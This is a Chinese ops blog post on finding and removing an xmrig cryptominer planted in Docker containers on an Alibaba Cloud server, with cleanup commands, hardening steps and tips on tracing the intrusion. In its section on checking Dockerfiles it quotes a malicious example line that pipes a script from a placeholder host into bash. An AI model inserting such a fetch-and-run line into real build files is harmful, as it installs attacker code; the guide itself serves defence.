当前位置: 首页 > ops >正文

【攻防篇】解决:阿里云docker 容器中自动启动xmrig挖矿

解决:阿里云服务器docker容器被植入挖矿程序

    • **1. 紧急处理:停止挖矿进程**
      • **(1)查找并终止 `xmrig` 进程**
      • **(2)删除恶意文件**
    • **2. 清理被感染的容器**
      • **(1)停止并删除容器**
      • **(2)检查镜像是否被污染**
    • **3. 防护措施:防止再次被入侵**
      • **(1)使用最小化镜像**
      • **(2)限制容器资源**
      • **(3)禁止容器内运行可疑进程**
      • **(4)监控容器行为**
      • **(5)避免暴露 Docker API**
    • **4. 排查入侵来源**
      • **(1)检查 Docker 日志**
      • **(2)检查宿主机是否被入侵**
      • **(3)检查 Dockerfile 是否被篡改**
    • **5. 总结**

如果发现 Docker 容器内自动启动 xmrig 挖矿程序,说明你的容器可能被入侵(通常是由于 镜像被篡改容器内运行了恶意脚本)。以下是 排查、清理和防护措施


1. 紧急处理:停止挖矿进程

(1)查找并终止 xmrig 进程

# 进入容器
docker exec -it <容器名或ID> /bin/bash# 查找挖矿进程(xmrig、minerd、cpuminer等)
ps aux | grep -E "xmrig|minerd|cpuminer"# 强制终止进程(替换PID)
kill -9 <PID># 如果进程自动重启,检查定时任务或守护进程
crontab -l          # 查看定时任务
ls -la /etc/cron.*  # 检查cron目录
find / -name "*xmrig*"  # 查找挖矿程序路径

(2)删除恶意文件

# 删除挖矿程序和相关文件
rm -rf /tmp/xmrig /var/tmp/.cache/xmrig# 检查容器内是否有异常启动脚本
find / -name "*.sh" | xargs grep "xmrig"  # 检查脚本是否包含xmrig

2. 清理被感染的容器

(1)停止并删除容器

docker stop <容器名或ID>
docker rm <容器名或ID>

(2)检查镜像是否被污染

# 查看所有镜像
docker images# 如果镜像来源不可信,删除并重新拉取
docker rmi <恶意镜像名>

3. 防护措施:防止再次被入侵

(1)使用最小化镜像

  • 避免使用 latest 标签,选择官方受信任的镜像(如 alpinedebian-slim)。
  • 示例:
    FROM alpine:3.18
    RUN apk add --no-cache bash
    

(2)限制容器资源

docker run 时限制 CPU 和内存,防止挖矿程序耗尽资源:

docker run --cpus 1 --memory 512m -d <镜像名>

(3)禁止容器内运行可疑进程

使用 SeccompAppArmor 限制容器权限:

# 使用默认的Seccomp配置文件(限制危险系统调用)
docker run --security-opt seccomp=default.json -d <镜像名>

(4)监控容器行为

  • 使用 docker stats 检查异常 CPU/内存占用
    docker stats
    
  • 使用 FalcoSysdig 监控容器行为
    falco -r /etc/falco/falco_rules.yaml
    

(5)避免暴露 Docker API

  • 禁止远程访问 Docker API(默认端口 2375):
    # 修改 /etc/docker/daemon.json
    {"hosts": ["unix:///var/run/docker.sock"]
    }
    
  • 启用 TLS 认证(防止未授权访问)。

4. 排查入侵来源

(1)检查 Docker 日志

journalctl -u docker | grep "error\|warning"

(2)检查宿主机是否被入侵

  • 查看异常进程
    top -c
    
  • 检查 SSH 登录记录
    grep "Accepted" /var/log/auth.log
    

(3)检查 Dockerfile 是否被篡改

如果使用自定义镜像,检查 Dockerfile 是否包含恶意命令:

# 恶意示例(可能隐藏在RUN命令中)
RUN curl -sL https://malicious.site/xmrig | bash

5. 总结

步骤命令/操作
终止挖矿进程kill -9 <PID>,删除 /tmp/xmrig
清理容器docker stop + docker rm,检查镜像是否安全
限制资源docker run --cpus 1 --memory 512m
监控容器docker statsFalco
加固 Docker关闭 2375 端口,使用 Seccomp/AppArmor

建议

  • 定期更新 Docker 和镜像,避免使用来源不明的镜像。
  • 使用 Trivy 扫描镜像漏洞
    trivy image <镜像名>
    
  • 启用 Docker 日志审计,记录所有容器操作。

如果问题仍然存在,可能需要 全面检查宿主机重建 Docker 环境

http://www.xdnf.cn/news/14640.html

相关文章:

  • 超实用AI工具分享——ViiTor AI视频配音功能教程(附图文)
  • php项目部署----------酒店项目
  • 知攻善防应急靶机 Windows web 3
  • LVS-DR负载均衡群集深度实践:高性能架构设计与排障指南
  • 笔记02:布线-差分对的设置与添加
  • Liunx操作系统笔记2
  • 《解锁前端潜力:自动化流程搭建秘籍》
  • Boosting:从理论到实践——集成学习中的偏差征服者
  • linux-修改文件命令(补充)
  • Jenkins Pipeline 与 Python 脚本之间使用环境变量通信
  • 数的三次方根
  • 【深度学习新浪潮】空间计算的医疗应用技术分析(简要版)
  • TCP/UDP协议深度解析(二):TCP连接管理全解,三次握手四次挥手的完整流程
  • Linux docker拉取镜像报错解决
  • 空间理解模型 SpatialLM 正式发布首份技术报告
  • 数据结构 顺序表与链表
  • 一步部署APache编译安装脚本
  • 基于SSM框架+mysql实现的监考安排管理系统[含源码+数据库+项目开发技术手册]
  • 使用VIVADO合并FPGA bit文件和Microblaze elf
  • SQL学习笔记2
  • 【大厂机试题解法笔记】可以组成网络的服务器
  • 使用亮数据网页抓取API自动获取Tiktok数据
  • Windows下安装zookeeper
  • 使用OpenCV实现中文字体渲染与特效处理
  • 单片机常用通信外设特点及通信方式对比表
  • 入门级STM32F103C8T6无人机遥控(原理图)
  • window显示驱动开发—支持 DXGI DDI(二)
  • 具身智能新突破:Gemini Robotics On-Device,让机器人拥有“本地大脑”
  • 【智能协同云图库】智能协同云图库第二弹:用户管理系统后端设计与接口开发
  • 开源流媒体平台安装使用